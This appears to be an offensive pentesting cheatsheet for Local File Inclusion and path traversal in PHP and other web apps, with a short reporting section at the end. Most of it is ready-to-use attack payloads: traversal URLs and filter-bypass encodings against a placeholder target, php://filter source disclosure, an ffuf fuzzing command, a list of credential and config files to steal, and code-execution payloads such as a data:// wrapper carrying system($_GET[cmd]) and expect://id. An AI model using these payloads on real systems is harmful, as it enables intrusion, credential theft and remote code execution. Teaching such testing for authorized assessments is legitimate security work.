π‘οΈ Methodology Checklist
- Test basic LFI:
?file=../../../../etc/passwd - Null byte (PHP < 5.3.4):
?file=../../../../etc/passwd%00 - Double encoding:
%252e%252e%252ffor../ - Absolute path:
?file=/etc/passwdif app doesnβt prepend base - Filter bypass:
....//....//etc/passwdor..././..././etc/passwd - URL encoding bypass:
%2e%2e%2f - Common target files:
/etc/passwd,/proc/self/environ, web config files - Chain with log poisoning or wrappers for RCE
π― Operational Context
Use when: File inclusion parameter discovered β traverse directory structure to read sensitive files (/etc/passwd, /etc/shadow, web.config, .env).
Think Dumber First: Start basic: ?file=../../../../etc/passwd. If blocked: ....//....//etc/passwd (double slash bypass). URL encode: %2e%2e%2f%2e%2e%2f. PHP wrappers: ?file=php://filter/convert.base64-encode/resource=/etc/passwd.
Skip when: Inclusion parameter is restricted to a specific allowed directory β narrow traversal scope and look for files in that path instead.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
http://[TARGET_IP]/index.php?language=/etc/passwd | Direct absolute path (no prefix prepended) |
http://[TARGET_IP]/index.php?language=../../../../../../../../../../etc/passwd | Relative traversal β βoverkillβ depth (extra ../ beyond root is safe) |
http://[TARGET_IP]/index.php?language=/../../../etc/passwd | Bypass filename prefix (e.g., include("lang_" . $input)) |
http://[TARGET_IP]/index.php?language=../../../../etc/passwd%00 | Null byte β drop forced .php extension (PHP < 5.5 only) |
http://[TARGET_IP]/index.php?language=....//....//....//etc/passwd | Non-recursive strip bypass (../ stripped β ../ re-forms) |
http://[TARGET_IP]/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | URL-encoded traversal (bypass . and / character blacklists) |
http://[TARGET_IP]/index.php?language=./languages/../../../../etc/passwd | Approved-path regex bypass (prepend required prefix then traverse out) |
http://[TARGET_IP]/index.php?language=languages/....//....//....//etc/passwd | Chained: approved path + non-recursive strip |
http://[TARGET_IP]/index.php?language=php://filter/read=convert.base64-encode/resource=config | PHP filter β read .php source as base64 |
echo 'PD9waHAK...' | base64 -d | Decode PHP source code extracted via filter |
ffuf -w LFI-Jhaddix.txt:FUZZ -u 'http://[TARGET_IP]/index.php?language=FUZZ' -fs [SIZE] | Auto-fuzz LFI bypasses |
http://[TARGET_IP]/index.php?language=../../../../../../../../../../Windows/boot.ini | Windows LFI PoC |
π¬ Deep Dive & Workflow
Function Capability Matrix
| Language | Function | Read | Execute | Remote URL |
|---|---|---|---|---|
| PHP | include() / require() | β | β | include only |
| PHP | file_get_contents() | β | β | β |
| NodeJS | fs.readFile() / sendFile() | β | β | β |
| NodeJS | res.render() | β | β | β |
| Java | include | β | β | β |
| Java | import | β | β | β |
| .NET | Response.WriteFile() | β | β | β |
| .NET | include | β | β | β |
If function only reads β LFI gives source disclosure only, not RCE β use to find creds then pivot.
Traversal Strategy
1. Try absolute path: ?language=/etc/passwd
2. Try relative (overkill depth): ?language=../../../../../../etc/passwd
3. Error shows prepended string β bypass prefix: ?language=/../../../etc/passwd
4. Error shows appended .php β identify extension append behavior
- Try: ?language=../../../../../../var/www/html/index (read known PHP file without ext)
- PHP < 5.5: use null byte %00
- PHP 5.5+: use PHP filter wrappers instead
Bypass Techniques
Filter strips ../ β ....//....//....//etc/passwd
Blacklists . and / β %2e%2e%2f%2e%2e%2f (URL-encode)
Must start with specific path β ./languages/../../../../etc/passwd
Both above β languages/....//....//....//etc/passwd
PHP Filter β Source Code Disclosure
# Read config.php as base64 (server appends .php automatically)
?language=php://filter/read=convert.base64-encode/resource=config
# Decode on Kali
echo 'PD9waHAK...' | base64 -d
# If server does NOT auto-append .php:
?language=php://filter/read=convert.base64-encode/resource=config.phpCRITICAL: View raw source (Ctrl+U) to copy the complete base64 string β browsers truncate long text.
PHP source reveals: DB credentials, other included files, config values β follow all include/require references iteratively.
Second-Order LFI
Register with username ../../../etc/passwd β application later uses it to load an avatar:
/images/avatars/../../../etc/passwd β /etc/passwd
Useful Files to Target
/etc/passwd # User list, confirm traversal
/etc/hosts # Internal network mapping
/etc/crontab # Scheduled tasks
/var/www/html/config.php # DB credentials (use PHP filter)
/etc/php/7.4/apache2/php.ini # PHP config (check allow_url_include)
/proc/self/environ # Current process environment variablesπ οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Basic ../ blocked | Path traversal sanitized | Try: ....//, ..%2f, %2e%2e/, %252e%252e/ (double URL encode) |
| php://filter wrapper blocked | Wrapper disabled | Try: expect://id, data://text/plain,<?php system($_GET[cmd]);?>, zip://shell.zip%23shell |
| LFI limited to specific path | Null byte bypass | PHP < 5.3.4: add %00 to terminate string: ?file=../../etc/passwd%00.jpg |
| File read returns binary/garbage | Binary file included | Use base64 wrapper: php://filter/convert.base64-encode/resource=[PATH] then decode |
| Windows target β Linux paths fail | OS mismatch | Windows paths: ..\..\..\Windows\system32\drivers\etc\hosts; use both slash and backslash |
π Reporting Trigger
Finding Title: Local File Inclusion Allows Arbitrary File Read Impact: LFI vulnerability allows reading arbitrary server files including /etc/passwd, /etc/shadow, application source code, configuration files with credentials, and SSH private keys, providing both sensitive data exposure and potential RCE via log poisoning. Root Cause: File inclusion function uses user-controlled path without validation. Path traversal not prevented by application logic or web server configuration. Recommendation: Never pass user input directly to file inclusion functions. Implement strict allowlist of permitted files. Map all dynamic file inclusion to static identifiers. Disable dangerous PHP wrappers (expect, data) in php.ini.